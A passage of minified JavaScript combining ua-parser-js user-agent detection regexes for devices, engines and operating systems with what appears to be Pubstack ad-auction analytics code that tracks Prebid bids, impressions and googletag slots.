]([-\w]+)/i,/sec-(sgh\w+)/i],[Se,[je,wt],[Ue,Oe]],[/(?:\/|\()(ip(?:hone|od)[\w, ]*)(?:\/|;)/i],[Se,[je,ut],[Ue,Oe]],[/\((ipad);[-\w\),; ]+apple/i,/applecoremedia\/[\w\.]+ \((ipad)/i,/\b(ipad)\d\d?,\d\d?[;\]].+ios/i],[Se,[je,ut],[Ue,Ve]],[/(macintosh);/i],[Se,[je,ut]],[/\b(sh-?[altvz]?\d\d[a-ekm]?)/i],[Se,[je,yt],[Ue,Oe]],[/\b((?:ag[rs][23]?|bah2?|sht?|btv)-a?[lw]\d{2})\b(?!.+d\/s)/i],[Se,[je,ht],[Ue,Ve]],[/(?:huawei|honor)([-\w ]+)[;\)]/i,/\b(nexus 6p|\w{2,4}e?-[atu]?[ln][\dx][012359c][adn]?)\b(?!.+d\/s)/i],[Se,[je,ht],[Ue,Oe]],[/\b(poco[\w ]+|m2\d{3}j\d\d[a-z]{2})(?: bui|\))/i,/\b; (\w+) build\/hm\1/i,/\b(hm[-_ ]?note?[_ ]?(?:\d\w)?) bui/i,/\b(redmi[\-_ ]?(?:note|k)?[\w_ ]+)(?: bui|\))/i,/oid[^\)]+; (m?[12][0-389][01]\w{3,6}[c-y])( bui|; wv|\))/i,/\b(mi[-_ ]?(?:a\d|one|one[_ ]plus|note lte|max|cc)?[_ ]?(?:\d?\w?)[_ ]?(?:plus|se|lite)?)(?: bui|\))/i],[[Se,/_/g," "],[je,kt],[Ue,Oe]],[/oid[^\)]+; (2\d{4}(283|rpbf)[cgl])( bui|\))/i,/\b(mi[-_ ]?(?:pad)(?:[\w_ ]+))(?: bui|\))/i],[[Se,/_/g," "],[je,kt],[Ue,Ve]],[/; (\w+) bui.+ oppo/i,/\b(cph[12]\d{3}|p(?:af|c[al]|d\w|e[ar])[mt]\d0|x9007|a101op)\b/i],[Se,[je,"OPPO"],[Ue,Oe]],[/\b(opd2\d{3}a?) bui/i],[Se,[je,"OPPO"],[Ue,Ve]],[/vivo (\w+)(?: bui|\))/i,/\b(v[12]\d{3}\w?[at])(?: bui|;)/i],[Se,[je,"Vivo"],[Ue,Oe]],[/\b(rmx[1-3]\d{3})(?: bui|;|\))/i],[Se,[je,"Realme"],[Ue,Oe]],[/\b(milestone|droid(?:[2-4x]| (?:bionic|x2|pro|razr))?:?( 4g)?)\b[\w ]+build\//i,/\bmot(?:orola)?[- ](\w*)/i,/((?:moto[\w\(\) ]+|xt\d{3,4}|nexus 6)(?= bui|\)))/i],[Se,[je,gt],[Ue,Oe]],[/\b(mz60\d|xoom[2 ]{0,2}) build\//i],[Se,[je,gt],[Ue,Ve]],[/((?=lg)?[vl]k\-?\d{3}) bui| 3\.[-\w; ]{10}lg?-([06cv9]{3,4})/i],[Se,[je,vt],[Ue,Ve]],[/(lm(?:-?f100[nv]?|-[\w\.]+)(?= bui|\))|nexus [45])/i,/\blg[-e;\/ ]+((?!browser|netcast|android tv)\w+)/i,/\blg-?([\d\w]+) bui/i],[Se,[je,vt],[Ue,Oe]],[/(ideatab[-\w ]+)/i,/lenovo ?(s[56]000[-\w]+|tab(?:[\w ]+)|yt[-\d\w]{6}|tb[-\d\w]{6})/i],[Se,[je,mt],[Ue,Ve]],[/(?:maemo|nokia).*(n900|lumia \d+)/i,/nokia[-_ ]?([-\w\.]*)/i],[[Se,/_/g," "],[je,"Nokia"],[Ue,Oe]],[/(pixel c)\b/i],[Se,[je,pt],[Ue,Ve]],[/droid.+; (pixel[\daxl ]{0,6})(?: bui|\))/i],[Se,[je,pt],[Ue,Oe]],[/droid.+ (a?\d[0-2]{2}so|[c-g]\d{4}|so[-gl]\w+|xq-a\w[4-7][12])(?= bui|\).+chrome\/(?![1-6]{0,1}\d\.))/i],[Se,[je,It],[Ue,Oe]],[/sony tablet [ps]/i,/\b(?:sony)?sgp\w+(?: bui|\))/i],[[Se,"Xperia Tablet"],[je,It],[Ue,Ve]],[/ (kb2005|in20[12]5|be20[12][59])\b/i,/(?:one)?(?:plus)? (a\d0\d\d)(?: b|\))/i],[Se,[je,"OnePlus"],[Ue,Oe]],[/(alexa)webm/i,/(kf[a-z]{2}wi|aeo[c-r]{2})( bui|\))/i,/(kf[a-z]+)( bui|\)).+silk\//i],[Se,[je,ct],[Ue,Ve]],[/((?:sd|kf)[0349hijorstuw]+)( bui|\)).+silk\//i],[[Se,/(.+)/g,"Fire Phone $1"],[je,ct],[Ue,Oe]],[/(playbook);[-\w\),; ]+(rim)/i],[Se,je,[Ue,Ve]],[/\b((?:bb[a-f]|st[hv])100-\d)/i,/\(bb10; (\w+)/i],[Se,[je,bt],[Ue,Oe]],[/(?:\b|asus_)(transfo[prime ]{4,10} \w+|eeepc|slider \w+|nexus 7|padfone|p00[cj])/i],[Se,[je,lt],[Ue,Ve]],[/ (z[bes]6[027][012][km][ls]|zenfone \d\w?)\b/i],[Se,[je,lt],[Ue,Oe]],[/(nexus 9)/i],[Se,[je,"HTC"],[Ue,Ve]],[/(htc)[-;_ ]{1,2}([\w ]+(?=\)| bui)|\w+)/i,/(zte)[- ]([\w ]+?)(?: bui|\/|\))/i,/(alcatel|geeksphone|nexian|panasonic(?!(?:;|\.))|sony(?!-bra))[-_ ]?([-\w]*)/i],[je,[Se,/_/g," "],[Ue,Oe]],[/droid.+; ([ab][1-7]-?[0178a]\d\d?)/i],[Se,[je,"Acer"],[Ue,Ve]],[/droid.+; (m[1-5] note) bui/i,/\bmz-([-\w]{2,})/i],[Se,[je,"Meizu"],[Ue,Oe]],[/; ((?:power )?armor(?:[\w ]{0,8}))(?: bui|\))/i],[Se,[je,"Ulefone"],[Ue,Oe]],[/(blackberry|benq|palm(?=\-)|sonyericsson|acer|asus|dell|meizu|motorola|polytron|infinix|tecno)[-_ ]?([-\w]*)/i,/(hp) ([\w ]+\w)/i,/(asus)-?(\w+)/i,/(microsoft); (lumia[\w ]+)/i,/(lenovo)[-_ ]?([-\w]+)/i,/(jolla)/i,/(oppo) ?([\w ]+) bui/i],[je,Se,[Ue,Oe]],[/(kobo)\s(ereader|touch)/i,/(archos) (gamepad2?)/i,/(hp).+(touchpad(?!.+tablet)|tablet)/i,/(kindle)\/([\w\.]+)/i],[je,Se,[Ue,Ve]],[/(surface duo)/i],[Se,[je,ft],[Ue,Ve]],[/droid [\d\.]+; (fp\du?)(?: b|\))/i],[Se,[je,"Fairphone"],[Ue,Oe]],[/(shield[\w ]+) b/i],[Se,[je,"Nvidia"],[Ue,Ve]],[/(sprint) (\w+)/i],[je,Se,[Ue,Oe]],[/(kin\.[onetw]{3})/i],[[Se,/\./g," "],[je,ft],[Ue,Oe]],[/droid.+; ([c6]+|et5[16]|mc[239][23]x?|vc8[03]x?)\)/i],[Se,[je,Ct],[Ue,Ve]],[/droid.+; (ec30|ps20|tc[2-8]\d[kx])\)/i],[Se,[je,Ct],[Ue,Oe]],[/smart-tv.+(samsung)/i],[je,[Ue,qe]],[/hbbtv.+maple;(\d+)/i],[[Se,/^/,"SmartTV"],[je,wt],[Ue,qe]],[/(nux; netcast.+smarttv|lg (netcast\.tv-201\d|android tv))/i],[[je,vt],[Ue,qe]],[/(apple) ?tv/i],[je,[Se,ut+" TV"],[Ue,qe]],[/crkey/i],[[Se,Tt+"cast"],[je,pt],[Ue,qe]],[/droid.+aft(\w+)( bui|\))/i],[Se,[je,ct],[Ue,qe]],[/\(dtv[\);].+(aquos)/i,/(aquos-tv[\w ]+)\)/i],[Se,[je,yt],[Ue,qe]],[/(bravia[\w ]+)( bui|\))/i],[Se,[je,It],[Ue,qe]],[/(mitv-\w{5}) bui/i],[Se,[je,kt],[Ue,qe]],[/Hbbtv.*(technisat) (.*);/i],[je,Se,[Ue,qe]],[/\b(roku)[\dx]*[\)\/]((?:dvp-)?[\d\.]*)/i,/hbbtv\/\d+\.\d+\.\d+ +\([\w\+ ]*; *([\w\d][^;]*);([^;]*)/i],[[je,Lt],[Se,Lt],[Ue,qe]],[/\b(android tv|smart[- ]?tv|opera tv|tv; rv:)\b/i],[[Ue,qe]],[/(ouya)/i,/(nintendo) (\w+)/i],[je,Se,[Ue,Ne]],[/droid.+; (shield) bui/i],[Se,[je,"Nvidia"],[Ue,Ne]],[/(playstation \w+)/i],[Se,[je,It],[Ue,Ne]],[/\b(xbox(?: one)?(?!; xbox))[\); ]/i],[Se,[je,ft],[Ue,Ne]],[/((pebble))app/i],[je,Se,[Ue,$e]],[/(watch)(?: ?os[,\/]|\d,\d\/)[\d\.]+/i],[Se,[je,ut],[Ue,$e]],[/droid.+; (wt63?0{2,3})\)/i],[Se,[je,Ct],[Ue,$e]],[/droid.+; (glass) \d/i],[Se,[je,pt],[Ue,"xr"]],[/(quest( \d| pro)?)/i],[Se,[je,Ut],[Ue,"xr"]],[/(tesla)(?: qtcarbrowser|\/[-\w\.]+)/i],[je,[Ue,De]],[/(aeobc)\b/i],[Se,[je,ct],[Ue,De]],[/droid .+?; ([^;]+?)(?: bui|; wv\)|\) applew).+? mobile safari/i],[Se,[Ue,Oe]],[/droid .+?; ([^;]+?)(?: bui|\) applew).+?(?! mobile) safari/i],[Se,[Ue,Ve]],[/\b((tablet|tab)[;\/]|focus\/\d(?!.+mobile))/i],[[Ue,Ve]],[/(phone|mobile(?:[;\/]| [ \w\/\.]*safari)|pda(?=.+windows ce))/i],[[Ue,Oe]],[/(android[-\w\. ]{0,9});.+buil/i],[Se,[je,"Generic"]]],engine:[[/windows.+ edge\/([\w\.]+)/i],[xe,[Ee,"EdgeHTML"]],[/webkit\/537\.36.+chrome\/(?!27)([\w\.]+)/i],[xe,[Ee,"Blink"]],[/(presto)\/([\w\.]+)/i,/(webkit|trident|netfront|netsurf|amaya|lynx|w3m|goanna)\/([\w\.]+)/i,/ekioh(flow)\/([\w\.]+)/i,/(khtml|tasman|links)[\/ ]\(?([\w\.]+)/i,/(icab)[\/ ]([23]\.[\d\.]+)/i,/\b(libweb)/i],[Ee,xe],[/rv\:([\w\.]{1,9})\b.+(gecko)/i],[xe,Ee]],os:[[/microsoft (windows) (vista|xp)/i],[Ee,xe],[/(windows (?:phone(?: os)?|mobile))[\/ ]?([\d\.\w ]*)/i],[Ee,[xe,Ht,Jt]],[/windows nt 6\.2; (arm)/i,/windows[\/ ]?([ntce\d\. ]+\w)(?!.+xbox)/i,/(?:win(?=3|9|n)|win 9x )([nt\d\.]+)/i],[[xe,Ht,Jt],[Ee,xt]],[/ip[honead]{2,4}\b(?:.*os ([\w]+) like mac|; opera)/i,/(?:ios;fbsv\/|iphone.+ios[\/ ])([\d\.]+)/i,/cfnetwork\/.+darwin/i],[[xe,/_/g,"."],[Ee,"iOS"]],[/(mac os x) ?([\w\. ]*)/i,/(macintosh|mac_powerpc\b)(?!.+haiku)/i],[[Ee,"macOS"],[xe,/_/g,"."]],[/droid ([\w\.]+)\b.+(android[- ]x86|harmonyos)/i],[xe,Ee],[/(android|webos|qnx|bada|rim tablet os|maemo|meego|sailfish)[-\/ ]?([\w\.]*)/i,/(blackberry)\w*\/([\w\.]*)/i,/(tizen|kaios)[\/ ]([\w\.]+)/i,/\((series40);/i],[Ee,xe],[/\(bb(10);/i],[xe,[Ee,bt]],[/(?:symbian ?os|symbos|s60(?=;)|series60)[-\/ ]?([\w\.]*)/i],[xe,[Ee,"Symbian"]],[/mozilla\/[\d\.]+ \((?:mobile|tablet|tv|mobile; [\w ]+); rv:.+ gecko\/([\w\.]+)/i],[xe,[Ee,St+" OS"]],[/web0s;.+rt(tv)/i,/\b(?:hp)?wos(?:browser)?\/([\w\.]+)/i],[xe,[Ee,"webOS"]],[/watch(?: ?os[,\/]|\d,\d\/)([\d\.]+)/i],[xe,[Ee,"watchOS"]],[/crkey\/([\d\.]+)/i],[xe,[Ee,Tt+"cast"]],[/(cros) [\w]+(?:\)| ([\w\.]+)\b)/i],[[Ee,"Chrome OS"],xe],[/panasonic;(viera)/i,/(netrange)mmh/i,/(nettv)\/(\d+\.[\w\.]+)/i,/(nintendo|playstation) (\w+)/i,/(xbox); +xbox ([^\);]+)/i,/\b(joli|palm)\b ?(?:os)?\/?([\w\.]*)/i,/(mint)[\/\(\) ]?(\w*)/i,/(mageia|vectorlinux)[; ]/i,/([kxln]?ubuntu|debian|suse|opensuse|gentoo|arch(?= linux)|slackware|fedora|mandriva|centos|pclinuxos|red ?hat|zenwalk|linpus|raspbian|plan 9|minix|risc os|contiki|deepin|manjaro|elementary os|sabayon|linspire)(?: gnu\/linux)?(?: enterprise)?(?:[- ]linux)?(?:-gnu)?[-\/ ]?(?!chrom|package)([-\w\.]*)/i,/(hurd|linux) ?([\w\.]*)/i,/(gnu) ?([\w\.]*)/i,/\b([-frentopcghs]{0,5}bsd|dragonfly)[\/ ]?(?!amd|[ix346]{1,2}86)([\w\.]*)/i,/(haiku) (\w+)/i],[Ee,xe],[/(sunos) ?([\w\.\d]*)/i],[[Ee,"Solaris"],xe],[/((?:open)?solaris)[-\/ ]?([\w\.]*)/i,/(aix) ((\d)(?=\.|\)| )[\w\.])*/i,/\b(beos|os\/2|amigaos|morphos|openvms|fuchsia|hp-ux|serenityos)/i,/(unix) ?([\w\.]*)/i],[Ee,xe]]},Kt=(ye={init:{},isIgnore:{},isIgnoreRgx:{},toString:{}},_t.call(ye.init,[[st,[Ee,xe,Te,Ue]],[nt,[Be]],[ot,[Ue,Se,je]],[rt,[Ee,xe]],[at,[Ee,xe]]]),_t.call(ye.isIgnore,[[st,[xe,Te]],[rt,[xe]],[at,[xe]]]),_t.call(ye.isIgnoreRgx,[[st,/ ?browser$/i],[at,/ ?os$/i]]),_t.call(ye.toString,[[st,[Ee,xe]],[nt,[Be]],[ot,[je,Se]],[rt,[Ee,xe]],[at,[Ee,xe]]]),ye),Yt=function(e,t){var i=Kt.init[t],s=Kt.isIgnore[t]||0,n=Kt.isIgnoreRgx[t]||0,o=Kt.toString[t]||0;function r(){_t.call(this,i)}return r.prototype.getItem=function(){return e},r.prototype.withClientHints=function(){return Nt?Nt.getHighEntropyValues(it).then((function(t){return e.setCH(new Zt(t,!1)).parseCH().get()})):e.parseCH().get()},r.prototype.withFeatureCheck=function(){return e.detectFeature().get()},t!=dt&&(r.prototype.is=function(e){var t=!1;for(var i in this)if(this.hasOwnProperty(i)&&!qt(s,i)&&Ft(n?Pt(n,this[i]):this[i])==Ft(n?Pt(n,e):e)){if(t=!0,e!=Ce)break}else if(e==Ce&&t){t=!t;break}return t},r.prototype.toString=function(){var e=Ie;for(var t in o)typeof this[o[t]]!==Ce&&(e+=(e?" ":Ie)+this[o[t]]);return e||Ce}),Nt||(r.prototype.then=function(e){var t=this,i=function(){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e])};i.prototype={is:r.prototype.is,toString:r.prototype.toString};var s=new i;return e(s),s}),new r};function Zt(e,t){if(e=e||{},_t.call(this,it),t)_t.call(this,[[Me,zt(e[He])],[Pe,zt(e[Je])],[Oe,/\?1/.test(e[Ye])],[Se,Wt(e[Ze])],[We,Wt(e[et])],[Le,Wt(e[tt])],[Be,Wt(e[Xe])],[_e,zt(e[Ke])],[Ge,Wt(e[Qe])]]);else for(var i in e)this.hasOwnProperty(i)&&typeof e[i]!==Ce&&(this[i]=e[i])}function ei(e,t,i,s){return this.get=function(e){return e?this.data.hasOwnProperty(e)?this.data[e]:void 0:this.data},this.set=function(e,t){return this.data[e]=t,this},this.setCH=function(e){return this.uaCH=e,this},this.detectFeature=function(){if(Bt&&Bt.userAgent==this.ua)switch(this.itemType){case st:Bt.brave&&typeof Bt.brave.isBrave==ke&&this.set(Ee,"Brave");break;case ot:!this.get(Ue)&&Nt&&Nt[Oe]&&this.set(Ue,Oe),"Macintosh"==this.get(Se)&&Bt&&typeof Bt.standalone!==Ce&&Bt.maxTouchPoints&&Bt.maxTouchPoints>2&&this.set(Se,"iPad").set(Ue,Ve);break;case at:!this.get(Ee)&&Nt&&Nt[We]&&this.set(Ee,Nt[We]);break;case dt:var e=this.data,t=function(t){return e[t].getItem().detectFeature().get()};this.set(st,t(st)).set(nt,t(nt)).set(ot,t(ot)).set(rt,t(rt)).set(at,t(at))}return this},this.parseUA=function(){return this.itemType!=dt&&Gt.call(this.data,this.ua,this.rgxMap),this.itemType==st&&this.set(Te,Mt(this.get(xe))),this},this.parseCH=function(){var e=this.uaCH,t=this.rgxMap;switch(this.itemType){case st:var i,s=e[Pe]||e[Me];if(s)for(var n in s){var o=Pt(/(Google|Microsoft) /,s[n].brand||s[n]),r=s[n].version;/not.a.brand/i.test(o)||i&&(!/chrom/i.test(i)||/chromi/i.test(o))||(this.set(Ee,o).set(xe,r).set(Te,Mt(r)),i=o)}break;case nt:var a=e[Be];a&&(a&&"64"==e[Ge]&&(a+="64"),Gt.call(this.data,a+";",t));break;case ot:if(e[Oe]&&this.set(Ue,Oe),e[Se]&&this.set(Se,e[Se]),"Xbox"==e[Se]&&this.set(Ue,Ne).set(je,ft),e[_e]){var d;if("string"!=typeof e[_e])for(var c=0;!d&&c<e[_e].length;)d=Ht(e[_e][c++],Xt);else d=Ht(e[_e],Xt);this.set(Ue,d)}break;case at:var u=e[We];if(u){var l=e[Le];u==xt&&(l=parseInt(Mt(l),10)>=13?"11":"10"),this.set(Ee,u).set(xe,l)}this.get(Ee)==xt&&"Xbox"==e[Se]&&this.set(Ee,"Xbox").set(xe,void 0);break;case dt:var b=this.data,p=function(t){return b[t].getItem().setCH(e).parseCH().get()};this.set(st,p(st)).set(nt,p(nt)).set(ot,p(ot)).set(rt,p(rt)).set(at,p(at))}return this},_t.call(this,[["itemType",e],["ua",t],["uaCH",s],["rgxMap",i],["data",Yt(this,e)]]),this}function ti(e,t,i){if(typeof e===Ae?($t(e,!0)?(typeof t===Ae&&(i=t),t=e):(i=e,t=void 0),e=void 0):typeof e!==Re||$t(t,!0)||(i=t,t=void 0),!(this instanceof ti))return new ti(e,t,i).getResult();var s=typeof e===Re?e:Bt&&Bt.userAgent?Bt.userAgent:i&&i[ze]?i[ze]:Ie,n=new Zt(i,!0),o=t?Ot(Qt,t):Qt,r=function(e){return e==dt?function(){return new ei(e,s,o,n).set("ua",s).set(st,this.getBrowser()).set(nt,this.getCPU()).set(ot,this.getDevice()).set(rt,this.getEngine()).set(at,this.getOS()).get()}:function(){return new ei(e,s,o[e],n).parseUA().get()}};return _t.call(this,[["getBrowser",r(st)],["getCPU",r(nt)],["getDevice",r(ot)],["getEngine",r(rt)],["getOS",r(at)],["getResult",r(dt)],["getUA",function(){return s}],["setUA",function(e){return Dt(e)&&(s=e.length>Fe?Lt(e,Fe):e),this}]]).setUA(s),this}ti.VERSION="2.0.0-beta.3",ti.BROWSER=Vt([Ee,xe,Te,Ue]),ti.CPU=Vt([Be]),ti.DEVICE=Vt([Se,je,Ue,Ne,Oe,qe,Ve,$e,De]),ti.ENGINE=ti.OS=Vt([Ee,xe]);class ii{constructor(){this.onAdStream=new c}onAd(e){const t=`/${e.formatId}`,i=e.formatId,s={bidderCode:"smart-rtb+",cpm:e.cpm,size:e.size,adUnitName:i,adUnitPathSuffix:t,formatId:e.formatId,customFields:{}};this.onAdStream.next(s)}}function si(e){if(e.includes("pubstackRefresh")){const t=e.find((e=>e.startsWith("pubstackRefreshRank")));if(void 0!==t&&t.includes(":")){const e=parseInt(t.split(":")[1])||0;return e>0?e:0}}return 0}function ni(e,t){const i=function(e){const t=e.split("?")[1];if(void 0!==t){const e=t.split("=");return{key:e[0],value:e[1]}}return}(e),s=e.split("?")[0].startsWith("/")?e.split("?")[0]:`/${e.split("?")[0]}`,n=function(e){return e.getAdUnitPath().replace("//","/")}(t);return s===(n.startsWith("/")?n:`/${n}`)&&(void 0===i||t.getTargeting(i.key)[0]===i.value)}const oi=(e,t)=>{const i=e.path;if(void 0===t||void 0===i)return;const s=t.pubads().getSlots();if(void 0===s)return;const n=s.filter((e=>ni(i,e)));switch(n.length){case 0:return;case 1:return n[0];default:if(-1!==i.indexOf("?"))return V("[pubstackGoogleTag] retrieve first slot matching the  dimension",i),n[0];{const s=t.pubads();try{!function(e){if("object"!=typeof e||null===e||!("getSlotIdMap"in e)||"function"!=typeof e.getSlotIdMap)throw new Error("Missing property getSlotIdMap on googletag")}(s);const t=s.getSlotIdMap();V("[pubstackGoogleTag] get all slot map",t);return t[Object.keys(t).filter((e=>e.startsWith(i)))[function(e){const t=Array.from(document.querySelectorAll(`div[id*='${e.name}']`)).map((e=>e.id));return t.findIndex((t=>t===e.code))}(e)]]}catch(e){return void V(`[pubstackGoogleTag] ${e}`)}}}};const ri=e=>{const t=e;if(void 0!==t&&t.apiReady&&void 0!==t.cmd&&void 0!==t.pubads&&"function"==typeof t.pubads){if("function"==typeof t.pubads().refresh)return t}};const ai=e=>{const t=(e=>ri(e.googletag))(window);V("[pubstackFindElementById] adUnit ",e);const i=oi(e,t);return V("[pubstackFindElementById] slot ",i),i?document.getElementById(i.getSlotElementId()):di(e.code)},di=e=>{const t=document.getElementById(e);return null===t?document.querySelector(`iframe[id*='${e}']`):t};function ci(e){const t=document.getElementsByTagName("meta");return Array.from(t).filter((t=>t.name.includes(`${e}:`)))}function ui(e,t){return e.replace(`${t}:`,"")}const li=(e,t)=>{const i=new Set;return e.tags.forEach((e=>i.add(e))),t.tags.forEach((e=>i.add(e))),i};class bi{constructor(e){this.coreAuctionStream=new c,this.coreImpressionStream=new c,this.state=e}subscribe(e){this.coreAuctionStream.subscribe(e.onAuction),this.coreImpressionStream.subscribe(e.onImpression)}pushNewImpression(e){var t,i,s,n,o;const r=this.state.getAuction(e.auctionId),a=null!==(t=this.state.findLastAuctionId(r.adUnit))&&void 0!==t?t:"",d=this.state.findBidsByAuctionId(r.auctionId).filter((e=>e.state===Y.BID)).map((e=>e)).sort(((e,t)=>t.cpm-e.cpm)),c=(null!==(s=null===(i=d[0])||void 0===i?void 0:i.cpm)&&void 0!==s?s:0)-(null!==(o=null===(n=d[1])||void 0===n?void 0:n.cpm)&&void 0!==o?o:0);return this.state.storeCoreBidResponses.set(e.bidId,e),this.impressionFormatAndForward(r,e,c,a)}pushNewAuction(e){var t,i;e.bidRequests=(t=e.bidRequests,i="adThink",t.filter((e=>e.bidderCode!==i))),0!==e.bidRequests.length&&this.coreAuctionStream.next(e)}checkMeasurability(e){return"IntersectionObserver"in window&&"IntersectionObserverEntry"in window&&"intersectionRatio"in window.IntersectionObserverEntry.prototype&&"isIntersecting"in window.IntersectionObserverEntry.prototype&&!!ai(e)}impressionSasFormatAndForward(e,t){const i={bidId:"smart-"+d(),auctionId:"smart-"+d(),lastAuctionId:"smart-"+d(),adUnit:t,bidderCode:e.bidderCode,cpm:e.cpm,currency:e.currency,refresh:!1,size:e.size,userConsentState:"notAvailable",userConsentVersion:"notAvailable",hasUserId:"notAvailable",userIdProviderList:[],pbjsVersion:"smart-ad-server",tags:new Set,viewabilityMeasurable:!1,cpmUplift:0,pubstackRefresh:!1,pubstackRefreshRank:0,customFields:e.customFields};this.coreImpressionStream.next(i)}impressionFormatAndForward(e,t,i,s){const n=this.state.findBidsByAuctionId(e.auctionId),o=this.state.getAuction(s),r=J(n),a=this.checkMeasurability(e.adUnit),{userConsentState:d,userConsentVersion:c}=X(r),u={bidId:t.bidResponseId,auctionId:e.auctionId,lastAuctionId:s,adUnit:e.adUnit,bidderCode:t.bidderCode,cpm:t.cpm,currency:t.currency,refresh:!1,size:t.size,userConsentState:d,userConsentVersion:c,hasUserId:e.hasUserId,userIdProviderList:e.userIdProviderList,pbjsVersion:e.pbjsVersion,tags:li(e,t),viewabilityMeasurable:a,cpmUplift:i,dealId:t.dealId,advertiserDomains:t.advertiserDomains,pubstackRefresh:o.pubstackRefresh,pubstackRefreshRank:o.pubstackRefreshRank,customFields:t.customFields,bidNetRevenue:t.bidNetRevenue,source:t.source,adapterCode:t.adapterCode};this.coreImpressionStream.next(u)}}class pi{constructor(){this.storeAuctions=new Map,this.storeCoreBidResponses=new Map,this.mappingAdUnitNameAuctions=new Map,this.mappingAdUnitCodeLastAuctions=new Map}setAuction(e){var t;this.storeAuctions.set(e.auctionId,e);const i=null!==(t=this.mappingAdUnitNameAuctions.get(e.adUnit.name))&&void 0!==t?t:[];i.find((t=>t===e.auctionId))||(i.push(e.auctionId),this.mappingAdUnitNameAuctions.set(e.adUnit.name,i)),this.mappingAdUnitCodeLastAuctions.set(e.adUnit.code,e.auctionId)}getAuction(e){const t=this.storeAuctions.get(e);return w(t,`auction not found, @auctionId=${e}`),t}findBidsByAuctionId(e){var t;return(null===(t=this.storeAuctions.get(e))||void 0===t?void 0:t.bidRequests)||[]}findLastAuctionId(e){return this.mappingAdUnitCodeLastAuctions.get(e.code)}findAuctionByAdUnitPath(e){return Array.from(this.storeAuctions.values()).find((t=>{var i;return null===(i=t.adUnit.path)||void 0===i?void 0:i.endsWith(e)}))}}class hi{constructor(){this.state=new pi,this.forwarder=new bi(this.state),this.fallbackCurrency=void 0}bindIntegration(e){e instanceof re&&(e.onBidResponseStream.subscribe((e=>this.bidResponse(e)),E),e.onAuctionEndStream.subscribe((e=>this.auctionDone(e)),E),e.onBidWonStream.subscribe((e=>this.impression(e)),E),e.onBidWonFromSdkStream.subscribe((e=>this.impressionFromSdk(e)),E),this.fallbackCurrency=e.getAdServerCurrency()),e instanceof ii&&e.onAdStream.subscribe((e=>this.impressionSas(e)),E)}helperToBidResponse(e,t){var i;const s=Object.assign({},e);s.state=Y.BID,t.tags.forEach((e=>s.tags.add(e)));let n=t.size;return"native"===t.mediaType&&(n="native"),"video"===t.mediaType&&(n=`video-${n}`),s.size=n,s.cpm=t.cpm,s.currency=null!==(i=t.currency)&&void 0!==i?i:this.fallbackCurrency,s.bidResponseId=t.bidResponseId,s.bidderCode=t.bidderCode,s}bidResponse(e){V("[pubstackCoreController] onBidResponse",e),e.bidderCode="nexx360"===e.adapterCode?"nexx360":e.bidderCode;const t={auctionId:e.auctionId,state:Y.BID,tags:new Set(e.tags),customFields:e.customFields};try{const i=this.state.getAuction(e.auctionId);if(i){const s=i.bidRequests.find((t=>t.bidId===e.bidId));s&&(i.bidRequests=i.bidRequests.filter((t=>t.bidId!==e.bidId)),i.bidRequests.push(Object.assign(Object.assign(Object.assign({},s),this.helperToBidResponse(t,e)),{tags:s.tags})))}}catch(e){}}helperAuctionBidToBidResponse(e){var t;const i=Object.assign(Object.assign({},e),{tags:new Set});if(e.state===Y.BID){let s=e.size;"native"===e.mediaType&&(s="native"),"video"===e.mediaType&&(s=`video-${s}`),i.size=s,i.cpm=e.cpm,i.currency=null!==(t=e.currency)&&void 0!==t?t:this.fallbackCurrency,i.bidResponseId=e.bidResponseId,i.timeToRespond=e.timeToRespond,i.dealId=e.dealId,i.advertiserDomains=e.advertiserDomains,i.bidNetRevenue=e.bidNetRevenue}return e.tags.forEach((e=>i.tags.add(e))),i}bidWonToCoreBidResponse(e){var t,i;const s=a(e.requestId);let n=e.size;return"native"===e.mediaType&&(n="native"),"video"===e.mediaType&&(n=`video-${n}`),{adId:e.adId,bidId:s,bidResponseId:a(s,e.adId),bidderCode:"nexx360"===e.adapterCode?"nexx360":null!==(t=e.bidderCode)&&void 0!==t?t:"",adapterCode:e.pbstckAdapterCode,cpm:e.cpm,size:n,state:Y.BID,auctionId:e.auctionId,tags:new Set(e.tags),currency:null!==(i=e.currency)&&void 0!==i?i:this.fallbackCurrency,customFields:e.customFields,dealId:e.dealId,advertiserDomains:e.advertiserDomains,bidNetRevenue:e.bidNetRevenue,source:e.source}}auctionDone(e){V("[pubstackCoreController] onAuctionDone",e.auctionId);try{const t=(e.bidRequests||[]).map(this.helperAuctionBidToBidResponse),i=J(t),{userConsentState:s,userConsentVersion:n}=X(i),o={auctionId:e.auctionId,adUnit:e.adUnit,tags:new Set(e.tags),sizes:new Set(e.sizes),hasUserId:e.userId.hasUserId,userIdProviderList:e.userId.userIdProviderList,refreshIndex:e.refreshIndex,pbjsVersion:e.pbjsVersion,refresh:!1,pubstackRefresh:e.labels.includes("pubstackRefresh"),pubstackRefreshRank:si(e.labels),userConsentState:s,userConsentVersion:n,bidRequests:t,customFields:e.customFields,duration:e.duration,timeout:e.timeout,state:"RUNNING"};this.state.setAuction(o);const r=()=>{const t=this.state.getAuction(e.auctionId);"FINISHED"!==t.state?(this.forwarder.pushNewAuction(t),t.state="FINISHED",this.state.setAuction(t)):V("[pubstackCoreController] auction is already finished",t)};void 0===e.gracePeriod?r():setTimeout((()=>r()),e.gracePeriod)}catch(e){V("[pubstackCoreController] error: cannot set auction as done because auction is not running")}}findBidResponseDuplicate(e){const t=this.state.storeCoreBidResponses.get(e.bidId),i=!!t&&t.bidResponseId===e.bidResponseId&&t.bidderCode===e.bidderCode;return i&&V("[pubstackCoreController] duplicate bid response found",e),i}_impression(e){if("FINISHED"===this.state.getAuction(e.auctionId).state)this.findBidResponseDuplicate(e)||this.forwarder.pushNewImpression(e);else{const t=i=>{i.auctionId===e.auctionId&&(this.findBidResponseDuplicate(e)||this.forwarder.pushNewImpression(e),this.forwarder.coreAuctionStream.unsubscribe(t))};this.forwarder.coreAuctionStream.subscribe(t)}}impression(e){V("[pubstackCoreController] onImpression",e);try{const t=this.bidWonToCoreBidResponse(e);this._impression(t)}catch(e){V("[pubstackCoreController] error: cannot create impression",e)}}impressionFromSdk(e){V("[pubstackCoreController] onImpression",e);try{const t=Array.from(this.state.storeAuctions.values()).find((t=>t.bidRequests.filter((e=>e.state===Y.BID)).find((t=>t.adId===e.adId))));if(t){const i=t.bidRequests.filter((e=>e.state===Y.BID)).find((t=>t.adId===e.adId));i.customFields=Object.assign(Object.assign({},i.customFields),e.customFields),this._impression(i)}}catch(e){V("[pubstackCoreController] error: cannot create impression",e)}}impressionSas(e){V("[pubstackCoreController] 